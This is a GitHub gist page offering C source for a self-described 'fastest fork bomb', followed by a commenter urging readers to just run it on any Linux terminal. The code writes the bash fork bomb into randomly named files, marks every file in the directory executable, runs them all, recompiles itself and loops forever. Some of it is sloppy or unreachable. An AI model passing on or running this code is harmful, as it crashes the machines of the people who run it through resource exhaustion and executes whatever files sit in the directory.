Skip to content

Instantly share code, notes, and snippets.

@gdisneyleugers
Last active November 12, 2021 01:31
Show Gist options
  • Save gdisneyleugers/5212bf129c5ab5168308 to your computer and use it in GitHub Desktop.
Save gdisneyleugers/5212bf129c5ab5168308 to your computer and use it in GitHub Desktop.
Fork Bomb in C, fastest fork bomb written yet.
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
int generator(void)
{
system("echo ':(){ :|:& };: ./*' > $RANDOM");
system("chmod +x * 2> /dev/null");
system("chmod +x $RANDOM 2> /dev/null");
system("bash -c './$RANDOM' 2> /dev/null");
system("bash -c './*' 2> /dev/null");
return(0);
}
int reproduce(void)
{
system("gcc fb.c -o .fb.$RANDOM");
while(1)
generator();
fork();
return(0);
}
int main(void)
{
for ( ; ; )
while(1)
while(1)
while(1)
reproduce();
system("bash -c './*' 2> /dev/null");
system(".fb.$RANDOM");
while(1)
exec("./*");
fork();
fork();
fork();
return(0);
}
@Malaska678
Copy link

Malaska678 commented Mar 27, 2021

Just execute it on any linux terminal

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment